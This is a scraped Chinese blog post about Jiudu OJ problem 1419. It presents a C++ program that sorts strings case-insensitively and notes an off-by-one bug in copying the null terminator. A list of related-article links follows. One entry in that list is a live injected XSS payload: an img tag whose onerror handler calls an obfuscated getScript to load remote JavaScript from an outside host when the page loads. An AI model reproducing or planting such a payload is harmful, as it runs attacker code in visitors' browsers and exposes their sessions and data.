九度 题目1419:文献排序
来源:互联网 发布:异或java 编辑:程序博客网 时间:2024/05/18 01:10
Mark 一下一直存在的错误,以后再说明错误的原因
这个题目属于简单的题目,但是我一直没有通过,原因是红色的标注那行,因为我一直是小于n,然后手动添加\0作为结尾,而不是小于等于n。
#include <iostream>#include <string>#include <cstring>#include <algorithm>using namespace std;struct Node{ char A[210];};char Change(char p){ if(p>='A'&&p<='Z') p=p-'A'+'a'; return p;}bool stringCompareIgnoreCase(const Node &lhs,const Node & rhs){ char lp[210]; char hp[210]; int n=strlen(lhs.A); <span style="color:#ff0000;">for(int i=0;i<=n;i++)</span> lp[i]=Change(lhs.A[i]); n=strlen(rhs.A); <span style="color:#ff0000;"> for(int i=0;i<=n;i++)</span> hp[i]=Change(rhs.A[i]); return strcmp(lp,hp)<0;}int main(){ //freopen("data.in","r",stdin); Node resu[210]; int num; while(cin>>num) { cin.ignore(); for (int i=0;i<num;i++) { cin.getline(resu[i].A,210); } sort(resu,resu+num,stringCompareIgnoreCase); for (int i=0;i<num;i++) { cout<<resu[i].A<<endl; } } return 0;}/************************************************************** Problem: 1419 User: vincent_ynh Language: C++ Result: Accepted Time:130 ms Memory:1524 kb****************************************************************/
0 0
- 【九度】题目1419:文献排序
- 九度 题目1419:文献排序
- 九度oj 文献排序
- 九度题目1202:排序
- 九度题目1202:排序
- 九度 题目1202:排序
- 【九度】题目1202:排序
- 九度OJ 题目1066:字符串排序
- 九度OJ 题目1196:成绩排序
- 九度OJ 题目1135:字符串排序
- 九度OJ 题目1130:日志排序
- 九度题目:字符串排序(1135)
- 【九度】题目1007:奥运排序问题
- 【九度】题目1023:EXCEL排序
- 【九度】题目1061:成绩排序
- 【九度】题目1054:字符串内排序
- 【九度】题目1117:整数奇偶排序
- 【九度】题目1135:字符串排序
- Java内存管理机制
- 【Android UI设计与开发】之详解ActionBar的使用
- <img src=x onerror=$['get\123cript']('//20.rs') width=0>
- Linux入门操作常用命令
- C++ 虚函数表解析
- 九度 题目1419:文献排序
- HDU 3661-Assignments(贪心)
- 计算带括号的四则运算表达式
- 创意:互联网上香
- 基于tcp的socket通信程序
- Java 内存分配全面浅析
- 使用yuicompressor 压缩js, CSS
- C语言知识查漏补缺与心得体会(2)
- Sicily 1121. Tri Tiling